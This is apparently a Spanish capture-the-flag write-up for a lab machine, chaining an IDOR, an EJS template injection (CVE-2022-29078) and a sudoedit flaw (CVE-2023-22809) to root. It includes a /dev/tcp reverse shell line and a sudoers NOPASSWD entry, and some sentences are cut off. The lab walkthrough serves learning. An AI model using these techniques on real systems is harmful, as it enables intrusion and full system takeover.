RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo para descubrir la superficie de ataque.
| PUERTO | ESTADO | SERVICIO | VERSIÓN |
|---|---|---|---|
| 22/tcp | OPEN | SSH | OpenSSH 7.6p1 |
| 80/tcp | OPEN | HTTP | nginx 1.14.0 |
El servidor web redirige a cyprusbank.thm. Se añade al /etc/hosts y se enumera en busca de subdominios:
Se descubre el subdominio admin.cyprusbank.thm y se añade al /etc/hosts. Accediendo a él aparece un panel de login.
ACCESO INICIAL — Credenciales del panel
Las credenciales iniciales de la sala permiten acceder al panel admin como Olivia Cortez. Una vez dentro, la función de búsqueda de clientes en /search muestra los teléfonos censurados para este rol.
/search, /messages y /settings. La ruta /messages acepta un parámetro ?c= que controla cuántos mensajes del chat se muestran.
IDOR — Lectura de mensajes privados
El parámetro ?c= de /messages no valida que los mensajes pertenezcan al usuario autenticado. Decrementando el valor hasta c=0 se accede a una conversación privada que contiene las credenciales de un usuario con más privilegios.
c para seleccionar el historial de chat sin verificar si el usuario tiene permisos para verlo. Cambiando el valor a 0 se recupera el historial completo desde el inicio.
Con las credenciales de Gayle Bev se inicia sesión. Este usuario tiene un rol superior que permite ver los teléfonos sin censurar en /search y acceder al endpoint /settings.
EJS SSTI → RCE — CVE-2022-29078
El endpoint /settings permite cambiar la contraseña de cualquier cliente. El valor del campo password se refleja en la respuesta, lo que llama la atención para XSS o SSTI.
Eliminando el parámetro password del POST, el servidor devuelve un error que revela el motor de plantillas:
La aplicación usa EJS (Embedded JavaScript). EJS en versiones anteriores a 3.1.7 es vulnerable a inyección de código a través del parámetro settings[view options][outputFunctionName], que se inserta sin sanitizar en el código de la plantilla compilada.
req.body directamente como argumento de datos a res.render(), un atacante puede inyectar opciones de EJS a través de parámetros anidados tipo settings[view options][...]. La opción outputFunctionName se concatena directamente al código JS generado por EJS sin ningún filtrado, permitiendo ejecución arbitraria de código Node.js.
La inyección es ciega — el output del comando no se refleja en la respuesta HTTP. Para confirmar el RCE se puede usar un ping a la máquina atacante antes de lanzar la reverse shell.
application/x-www-form-urlencoded) interpreta + como espacio. Si el base64 de la reverse shell contiene +, el comando llega corrupto al servidor y falla. La solución es generar la shell sin espacios para obtener un base64 sin +: bash -i>&/dev/tcp/IP/PORT 0>&1 en lugar de bash -i >& /dev/tcp/...
PRIVILEGE ESCALATION — CVE-2023-22809 (sudoedit)
Revisando los privilegios sudo del usuario web:
La versión de sudo instalada es 1.9.12p1, anterior a 1.9.12p2, lo que la hace vulnerable a CVE-2023-22809. Esta vulnerabilidad permite inyectar archivos arbitrarios en la lista de ficheros que sudoedit abrirá, a través de la variable de entorno EDITOR.
sudoedit analiza el contenido de la variable EDITOR para lanzar el editor. Si el valor contiene -- /ruta/archivo, sudo añade ese archivo a la lista de ficheros a editar sin validar si está permitido en la política. Esto permite editar cualquier archivo del sistema como root.
Vim abre ambos archivos. Se navega al /etc/sudoers y se añade la siguiente línea al final:
Se guarda con :wq y se escala a root:
CADENA DE ATAQUE
admin.cyprusbank.thm. Login con credenciales iniciales como Olivia Cortez?c=0 expone un chat privado con la contraseña de Gayle Bev, usuario con rol superior/settings se pasa sin filtrar a res.render(). Inyección de outputFunctionName permite ejecución de código Node.js arbitrario → reverse shell como webEDITOR inyecta /etc/sudoers como archivo extra. Se añade web ALL=(ALL:ALL) NOPASSWD: ALL → sudo su